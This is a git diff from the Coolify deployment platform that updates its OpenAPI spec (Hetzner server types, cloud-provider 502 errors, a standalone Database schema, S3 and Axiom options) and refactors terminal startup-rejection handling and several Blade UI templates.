@@ paths: tags: - Hetzner summary: 'Get Hetzner Server Types' - description: 'Get all available Hetzner server types (instance sizes).' + description: 'Get the Hetzner server types (instance sizes) that can be ordered now. Each type lists only the locations where it is in stock and not deprecated.' operationId: get-hetzner-server-types parameters: + - + name: location + in: query + description: 'Return only the server types that can be ordered in this location, for example nbg1.' + required: false + schema: + type: string - name: cloud_provider_token_uuid in: query @@ -8201,6 +8184,8 @@ paths: $ref: '#/components/responses/401' '404': $ref: '#/components/responses/404' + '502': + $ref: '#/components/responses/502' security: - bearerAuth: [] @@ -8241,6 +8226,8 @@ paths: $ref: '#/components/responses/401' '404': $ref: '#/components/responses/404' + '502': + $ref: '#/components/responses/502' security: - bearerAuth: [] @@ -8281,6 +8268,8 @@ paths: $ref: '#/components/responses/401' '404': $ref: '#/components/responses/404' + '502': + $ref: '#/components/responses/502' security: - bearerAuth: [] @@ -8321,6 +8310,8 @@ paths: $ref: '#/components/responses/401' '404': $ref: '#/components/responses/404' + '502': + $ref: '#/components/responses/502' security: - bearerAuth: [] @@ -8361,6 +8352,8 @@ paths: $ref: '#/components/responses/401' '404': $ref: '#/components/responses/404' + '502': + $ref: '#/components/responses/502' security: - bearerAuth: [] @@ -8442,7 +8435,7 @@ paths: instant_validate: type: boolean example: false - description: 'Validate server immediately after creation' + description: 'Validate the server and install Docker when it is running. Defaults to true for tokens with the deploy permission, and needs that permission.' type: object responses: '201': @@ -8467,6 +8460,8 @@ paths: $ref: '#/components/responses/422' '429': $ref: '#/components/responses/429' + '502': + $ref: '#/components/responses/502' security: - bearerAuth: [] @@ -9420,12 +9415,15 @@ paths: operationId: list-resources responses: '200': - description: 'Get all resources' + description: 'Get all applications, services and standalone databases. The other fields of each resource are the fields of the Application, Service or Database schema.' content: application/json: schema: - type: string - example: 'Content is very complex. Will be implemented later.' + type: array + items: + properties: { uuid: { type: string }, name: { type: string }, description: { type: [string, 'null'] }, type: { description: 'application, service, or standalone- for databases (for example standalone-postgresql).', type: string }, status: { description: 'For example running:healthy or exited:unhealthy.', type: string }, environment_id: { type: integer }, created_at: { type: string, format: date-time }, updated_at: { type: string, format: date-time } } + type: object + additionalProperties: true '401': $ref: '#/components/responses/401' '400': @@ -9448,7 +9446,7 @@ paths: schema: type: array items: - properties: { uuid: { type: string }, name: { type: string }, description: { type: string, nullable: true }, endpoint: { type: string }, bucket: { type: string }, region: { type: string }, is_usable: { type: boolean }, team_id: { type: integer }, created_at: { type: string }, updated_at: { type: string } } + properties: { uuid: { type: string }, name: { type: string }, description: { type: string, nullable: true }, endpoint: { type: string }, bucket: { type: string }, region: { type: string }, use_path_style_endpoint: { type: boolean }, is_usable: { type: boolean }, team_id: { type: integer }, created_at: { type: string }, updated_at: { type: string } } type: object '401': $ref: '#/components/responses/401' @@ -9497,6 +9495,9 @@ paths: type: string example: us-east-1 description: 'S3 region.' + use_path_style_endpoint: + type: boolean + description: 'Use path-style URLs (endpoint/bucket). Set to false for providers that only accept virtual-hosted-style URLs (bucket.endpoint). Default: false for Alibaba Cloud OSS, Tencent Cloud COS, and Volcengine TOS endpoints, true for all other endpoints.' key: type: string description: 'Access key.' @@ -9553,6 +9554,7 @@ paths: endpoint: { type: string } bucket: { type: string } region: { type: string } + use_path_style_endpoint: { type: boolean } is_usable: { type: boolean } team_id: { type: integer } created_at: { type: string } @@ -9632,6 +9634,9 @@ paths: region: type: string description: 'S3 region.' + use_path_style_endpoint: + type: boolean + description: 'Use path-style URLs (endpoint/bucket). Set to false for providers that only accept virtual-hosted-style URLs (bucket.endpoint), such as Alibaba Cloud OSS.' key: type: string description: 'Access key.' @@ -10941,6 +10946,7 @@ paths: logdrain_newrelic_base_uri: { type: [string, 'null'] } is_logdrain_axiom_enabled: { type: boolean } logdrain_axiom_dataset_name: { type: [string, 'null'] } + logdrain_axiom_domain: { type: [string, 'null'] } logdrain_axiom_api_key: { description: 'Only present with read:sensitive.', type: string } is_logdrain_custom_enabled: { type: boolean } logdrain_custom_config: { description: 'Only present with read:sensitive.', type: string } @@ -10989,6 +10995,9 @@ paths: type: boolean logdrain_axiom_dataset_name: type: string + logdrain_axiom_domain: + description: 'Base domain of the Axiom edge deployment. Default: us-east-1.aws.edge.axiom.co. Use eu-central-1.aws.edge.axiom.co for EU datasets.' + type: string logdrain_axiom_api_key: type: string is_logdrain_custom_enabled: @@ -12825,8 +12834,6 @@ paths: required: - server_uuid - project_uuid - - environment_name - - environment_uuid properties: type: description: 'The one-click service type (e.g. "actualbudget", "calibre-web", "gitea-with-mysql" ...)' @@ -15233,6 +15240,8 @@ paths: description: 'Validation failed.' '429': description: 'Vultr API rate limit exceeded.' + '502': + $ref: '#/components/responses/502' security: - bearerAuth: [] @@ -15374,6 +15383,282 @@ components: - 'null' format: date-time type: object + Database: + description: 'Standalone database. The fields that start with an engine name (for example postgres_ or redis_) are only returned for that engine. Passwords, connection URLs and init_scripts are only returned for tokens with the read:sensitive or root ability.' + properties: + uuid: + type: string + name: + type: string + description: + type: + - string + - 'null' + database_type: + type: string + enum: + - standalone-postgresql + - standalone-redis + - standalone-mongodb + - standalone-mysql + - standalone-mariadb + - standalone-keydb + - standalone-dragonfly + - standalone-clickhouse + - standalone-sqlite + image: + type: string + status: + description: 'Container status and health, for example running:healthy or exited:unhealthy.' + type: string + server_status: + description: 'True when the server of the database is reachable and usable.' + type: boolean + environment_id: + type: integer + environment: + $ref: '#/components/schemas/Environment' + description: 'Only returned by GET /databases/{uuid}. Includes the project.' + destination_id: + type: integer + destination_type: + type: string + destination: + description: 'Docker network destination of the database, with its server.' + properties: + uuid: + type: string + name: + type: string + network: + type: string + server_id: + type: integer + server: + $ref: '#/components/schemas/Server' + created_at: + type: string + format: date-time + updated_at: + type: string + format: date-time + type: object + is_public: + description: 'Not returned for SQLite.' + type: boolean + public_port: + description: 'Not returned for SQLite.' + type: + - integer + - 'null' + public_port_timeout: + description: 'Proxy timeout of the public port in seconds. Not returned for SQLite.' + type: + - integer + - 'null' + ports_mappings: + description: 'Comma-separated host:container port mappings. Not returned for SQLite.' + type: + - string + - 'null' + enable_ssl: + description: 'Not returned for ClickHouse and SQLite.' + type: boolean + ssl_mode: + description: 'PostgreSQL, MongoDB and MySQL only.' + type: + - string + - 'null' + internal_db_url: + description: 'Connection URL inside the Docker network. Contains the password. Not returned for SQLite.' + type: + - string + - 'null' + external_db_url: + description: 'Public connection URL, when the database is public. Contains the password. Not returned for SQLite.' + type: + - string + - 'null' + init_scripts: + description: 'PostgreSQL only.' + type: + - array + - 'null' + items: + properties: + index: + type: integer + filename: + type: string + content: + type: string + type: object + custom_docker_run_options: + type: + - string + - 'null' + is_log_drain_enabled: + type: boolean + is_include_timestamps: + description: 'Not returned for MariaDB.' + type: boolean + include_coolify_default_variables: + type: boolean + redact_all_env_values_in_logs: + type: boolean + health_check_enabled: + type: boolean + health_check_interval: + type: integer + health_check_timeout: + type: integer + health_check_retries: + type: integer + health_check_start_period: + type: integer + limits_memory: + type: string + limits_memory_swap: + type: string + limits_memory_swappiness: + type: integer + limits_memory_reservation: + type: string + limits_cpus: + type: string + limits_cpuset: + type: + - string + - 'null' + limits_cpu_shares: + type: integer + config_hash: + description: 'Internal hash that Coolify uses to find configuration changes that need a restart. It changes only when the database starts, so do not use it to compare configurations.' + type: + - string + - 'null' + restart_count: + type: integer + last_restart_at: + type: + - string + - 'null' + format: date-time + last_restart_type: + type: + - string + - 'null' + last_online_at: + type: + - string + - 'null' + started_at: + type: + - string + - 'null' + format: date-time + backup_configs: + description: 'Only returned by GET /databases. The scheduled backups of the database, as returned by GET /databases/{uuid}/backups.' + type: array + items: + type: object + postgres_user: + type: string + postgres_password: + type: string + format: password + postgres_db: + type: string + postgres_initdb_args: + type: + - string + - 'null' + postgres_host_auth_method: + type: + - string + - 'null' + postgres_conf: + type: + - string + - 'null' + redis_password: + type: string + format: password + redis_conf: + type: + - string + - 'null' + mongo_initdb_root_username: + type: string + mongo_initdb_root_password: + type: string + format: password + mongo_initdb_database: + type: string + mongo_conf: + type: + - string + - 'null' + mysql_user: + type: string + mysql_password: + type: string + format: password + mysql_root_password: + type: string + format: password + mysql_database: + type: string + mysql_conf: + type: + - string + - 'null' + mariadb_user: + type: string + mariadb_password: + type: string + format: password + mariadb_root_password: + type: string + format: password + mariadb_database: + type: string + mariadb_conf: + type: + - string + - 'null' + keydb_password: + type: string + format: password + keydb_conf: + type: + - string + - 'null' + dragonfly_password: + type: string + format: password + clickhouse_admin_user: + type: string + clickhouse_admin_password: + type: string + format: password + clickhouse_db: + type: string + sqlite_databases: + description: 'Comma-separated SQLite database file names.' + type: string + created_at: + type: string + format: date-time + updated_at: + type: string + format: date-time + deleted_at: + type: + - string + - 'null' + format: date-time + type: object ApplicationPreview: properties: uuid: @@ -16411,6 +16696,9 @@ components: type: string logdrain_axiom_dataset_name: type: string + logdrain_axiom_domain: + type: string + description: 'Base domain of the Axiom edge deployment, for example us-east-1.aws.edge.axiom.co or eu-central-1.aws.edge.axiom.co.' logdrain_cloudwatch_region: type: string logdrain_cloudwatch_group: @@ -16699,6 +16987,26 @@ components: type: string example: 'Rate limit exceeded. Please try again later.' type: object + '502': + description: 'The cloud provider API rejected the request.' + content: + application/json: + schema: + properties: + message: + type: string + example: 'Failed to create Hetzner server. The Hetzner API token does not have permission for this request. Use a token with read and write access.' + provider_status: + description: 'The HTTP status from the cloud provider API.' + type: integer + example: 403 + provider_error_code: + description: 'The error code from the cloud provider API, if it has one.' + type: + - string + - 'null' + example: forbidden + type: object securitySchemes: bearerAuth: type: http diff --git a/other/nightly/versions.json b/other/nightly/versions.json index d0c384b345..3c8c027b57 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -10,11 +10,11 @@ "version": "1.0.19" }, "sentinel": { - "version": "1.1.2" + "version": "1.1.3" }, "sentinel-host": { - "version": "1.1.2", - "digest": "sha256:149d2097943716d30af9659eeeb11259601335442242ecb0b0331982a82a3bd2" + "version": "1.1.3", + "digest": "sha256:bca77d22355c9005185b438dad406747b4b776018215a0a4a75c88618d681ff7" } }, "traefik": { diff --git a/resources/js/terminal-connection.js b/resources/js/terminal-connection.js index f2f463f94a..9bee050641 100644 --- a/resources/js/terminal-connection.js +++ b/resources/js/terminal-connection.js @@ -20,35 +20,17 @@ export const TERMINAL_CONNECTION_ERRORS = Object.freeze({ timeout: 'Timed out while connecting to the terminal. Reload the page and try again.', }); -const AUTH_REJECTION_MESSAGES = new Set([ - 'Unauthorized: Missing required tokens', - 'Unauthorized: Invalid terminal token', - 'Unauthorized: Terminal token was rejected', -]); - export function isTerminalAuthRejectionCode(code) { return code === TERMINAL_CLOSE_CODES.AUTH_REJECTED || code === TERMINAL_CLOSE_CODES.TOKEN_REJECTED; } /** - * Classifies a plain-text message from the terminal server. - * - * @returns {'auth-rejected'|'startup-rejected'|null} + * Whether a plain-text message from the terminal server rejects a session start, + * for example a target host that is not authorized or an invalid SSH command. + * Authentication rejections arrive as close codes instead. */ -export function classifyTerminalServerMessage(data) { - if (typeof data !== 'string') { - return null; - } - - if (AUTH_REJECTION_MESSAGES.has(data)) { - return 'auth-rejected'; - } - - if (data.startsWith('Unauthorized:') || data.startsWith('Invalid SSH command:')) { - return 'startup-rejected'; - } - - return null; +export function isTerminalStartupRejection(data) { + return typeof data === 'string' && (data.startsWith('Unauthorized:') || data.startsWith('Invalid SSH command:')); } /** diff --git a/resources/js/terminal-connection.test.js b/resources/js/terminal-connection.test.js index 2f0827283f..e6c7e4fafb 100644 --- a/resources/js/terminal-connection.test.js +++ b/resources/js/terminal-connection.test.js @@ -5,8 +5,8 @@ import { TERMINAL_CONNECT_TIMEOUT_MS, TERMINAL_CONNECTION_ERRORS, TERMINAL_SESSION_START_TIMEOUT_MS, - classifyTerminalServerMessage, isTerminalAuthRejectionCode, + isTerminalStartupRejection, resolveTerminalCloseOutcome, } from './terminal-connection.js'; @@ -70,15 +70,12 @@ test('an idle close reconnects silently until the retry limit, then reports an e }); }); -test('server text messages are classified for backward compatible rejection handling', () => { - assert.equal(classifyTerminalServerMessage('Unauthorized: Invalid terminal token'), 'auth-rejected'); - assert.equal(classifyTerminalServerMessage('Unauthorized: Terminal token was rejected'), 'auth-rejected'); - assert.equal(classifyTerminalServerMessage('Unauthorized: Missing required tokens'), 'auth-rejected'); - assert.equal(classifyTerminalServerMessage('Unauthorized: Target host 10.0.0.5 not in authorized list'), 'startup-rejected'); - assert.equal(classifyTerminalServerMessage('Invalid SSH command: No target host found'), 'startup-rejected'); - assert.equal(classifyTerminalServerMessage('pty-ready'), null); - assert.equal(classifyTerminalServerMessage('root@host:~# '), null); - assert.equal(classifyTerminalServerMessage(new Blob([])), null); +test('session start rejections from the terminal server are detected', () => { + assert.equal(isTerminalStartupRejection('Unauthorized: Target host 10.0.0.5 not in authorized list'), true); + assert.equal(isTerminalStartupRejection('Invalid SSH command: No target host found'), true); + assert.equal(isTerminalStartupRejection('pty-ready'), false); + assert.equal(isTerminalStartupRejection('root@host:~# '), false); + assert.equal(isTerminalStartupRejection(new Blob([])), false); }); test('connection timeouts stay within a bounded window', () => { diff --git a/resources/js/terminal.js b/resources/js/terminal.js index 46495425ef..2f125e92b5 100644 --- a/resources/js/terminal.js +++ b/resources/js/terminal.js @@ -9,7 +9,7 @@ import { import { TERMINAL_CONNECT_TIMEOUT_MS, TERMINAL_CONNECTION_ERRORS, - classifyTerminalServerMessage, + isTerminalStartupRejection, resolveTerminalCloseOutcome, terminalSessionStartMethods, } from './terminal-connection.js'; @@ -1107,18 +1107,12 @@ export function initializeTerminalComponent() { // Notify parent component that terminal disconnected this.$wire.dispatch('terminalDisconnected'); - } else if (classifyTerminalServerMessage(event.data) !== null) { + } else if (isTerminalStartupRejection(event.data)) { logTerminal('error', '[Terminal] Backend rejected terminal startup:', event.data); this.pendingCommand = null; this.terminalActive = false; this.resetTerminalSessionCountdown(); - // Newer servers follow an auth rejection with a 4401/4403 close. - this.failTerminalConnection( - classifyTerminalServerMessage(event.data) === 'auth-rejected' - ? TERMINAL_CONNECTION_ERRORS.authRejected - : event.data, - { override: true }, - ); + this.failTerminalConnection(event.data, { override: true }); } else { try { this.pendingWrites++; diff --git a/resources/views/components/breadcrumb-switcher.blade.php b/resources/views/components/breadcrumb-switcher.blade.php index 73c9bd8a1a..3f739544c0 100644 --- a/resources/views/components/breadcrumb-switcher.blade.php +++ b/resources/views/components/breadcrumb-switcher.blade.php @@ -1,4 +1,4 @@ -@props(['label', 'items', 'title']) +@props(['label', 'items', 'title', 'uuid' => null]) /
    - {{ $label }} + {{ $label }} @@ -33,9 +34,10 @@
    @foreach ($items as $item)
    - {{ $item['label'] }} + {{ $item['label'] }} @endforeach
    diff --git a/resources/views/components/modal-confirmation.blade.php b/resources/views/components/modal-confirmation.blade.php index d0d65d2d37..50e41d72df 100644 --- a/resources/views/components/modal-confirmation.blade.php +++ b/resources/views/components/modal-confirmation.blade.php @@ -369,13 +369,17 @@ class="block text-sm font-medium text-gray-700 dark:text-gray-300"> Your Password -
    - - -
    + {{-- Add the field when this step shows: password managers do not detect a hidden field that becomes visible. --}} +

    @error('password') diff --git a/resources/views/components/shared-variables/editor.blade.php b/resources/views/components/shared-variables/editor.blade.php index 2b2c13cb30..18ed216172 100644 --- a/resources/views/components/shared-variables/editor.blade.php +++ b/resources/views/components/shared-variables/editor.blade.php @@ -156,8 +156,12 @@ @endforeach @endif -
    + + + To make a variable literal, put # coolify: literal directly above + its line. Without this line, the flag does not change. + diff --git a/resources/views/components/top-breadcrumb.blade.php b/resources/views/components/top-breadcrumb.blade.php index 64bebc9381..2c5f66287c 100644 --- a/resources/views/components/top-breadcrumb.blade.php +++ b/resources/views/components/top-breadcrumb.blade.php @@ -39,6 +39,7 @@ ->sortBy(fn ($item) => strtolower($item['resource']->name)) ->map(fn ($item) => [ 'label' => $item['resource']->name, + 'uuid' => $item['resource']->uuid, 'href' => match ($item['type']) { 'application' => route('project.application.configuration', [ 'project_uuid' => $currentProject->uuid, @@ -107,6 +108,10 @@
    + x-init="syncTitle()" x-on:livewire:navigated.window="$nextTick(() => syncTitle())" + x-on:name-changed.window="renamed[$event.detail.uuid] = $event.detail.name"> {{-- Team --}}
    @@ -129,8 +135,9 @@ @endif @if ($currentStorage) - @@ -151,8 +158,9 @@ ? filled($currentSource->installation_id) : filled($currentSource->access_token); @endphp - @@ -210,7 +219,8 @@
    @@ -257,7 +267,7 @@ @endif @if ($currentResource) - + {{-- Below xl, the page heading shows the status. --}}